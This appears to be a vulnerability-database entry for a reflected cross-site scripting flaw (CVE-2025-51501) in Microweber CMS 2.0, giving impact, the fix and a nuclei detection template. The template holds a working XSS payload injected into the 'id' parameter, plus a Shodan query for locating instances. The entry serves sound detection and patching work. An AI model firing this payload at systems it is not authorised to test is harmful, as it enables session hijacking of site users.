Browse / CVEs / CVE-2025-51501
CVE-2025-51501· microweber / microweber
Microweber CMS2.0 - Cross-Site Scripting
mediumseverity
0.9%likelihood of exploitation, next 30 days
60%of all CVEs are less likely
Readycheck to confirm it
Reflected Cross-Site Scripting (XSS) in the `id` parameter of the `live_edit.module_settings` API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.
Impact
Authenticated attackers can execute arbitrary JavaScript in victim browsers through the id parameter in the module_settings API, potentially leading to session hijacking.
Fix
Upgrade Microweber CMS to a version later than 2.0 that properly sanitizes the id parameter in live_edit endpoints.
How to confirm it
Send: POST /api/user_login
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "success\":", "username\":")
Send: GET /api/live_edit/live_edit.module_settings?id={{xss_payload}}&type=shop/shipping/gateways/country/admin
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "</script><script>alert(document.domain)</script>", "Add Country</a>")Run it with nuclei: nuclei -id CVE-2025-51501 -u <target>
The full check
id: CVE-2025-51501
info:
name: Microweber CMS2.0 - Cross-Site Scripting
author: nukunga
severity: medium
description: |
Reflected Cross-Site Scripting (XSS) in the `id` parameter of the `live_edit.module_settings` API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.
impact: |
Authenticated attackers can execute arbitrary JavaScript in victim browsers through the id parameter in the module_settings API, potentially leading to session hijacking.
remediation: |
Upgrade Microweber CMS to a version later than 2.0 that properly sanitizes the id parameter in live_edit endpoints.
reference:
- https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51501
- https://nvd.nist.gov/vuln/detail/CVE-2025-51501
metadata:
verified: true
max-requests: 2
vendor: microweber
product: microweber
shodan-query: 'http.title:"Microweber"'
tags: cve,cve2025,microweber,xss,authenticated,vuln
flow: http(1) && http(2)
variables:
xss_payload: "</script><script>alert(document.domain)</script>"
http:
- raw:
- |
POST /api/user_login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{username}}&password={{password}}&lang=en_US&where_to=admin_content
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "success\":", "username\":")'
condition: and
internal: true
- raw:
- |
GET /api/live_edit/live_edit.module_settings?id={{xss_payload}}&type=shop/shipping/gateways/country/admin HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "</script><script>alert(document.domain)</script>", "Add Country</a>")'
condition: andReferences
- https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51501
- https://nvd.nist.gov/vuln/detail/CVE-2025-51501
Use this check only on systems you are authorised to test. Where the data comes from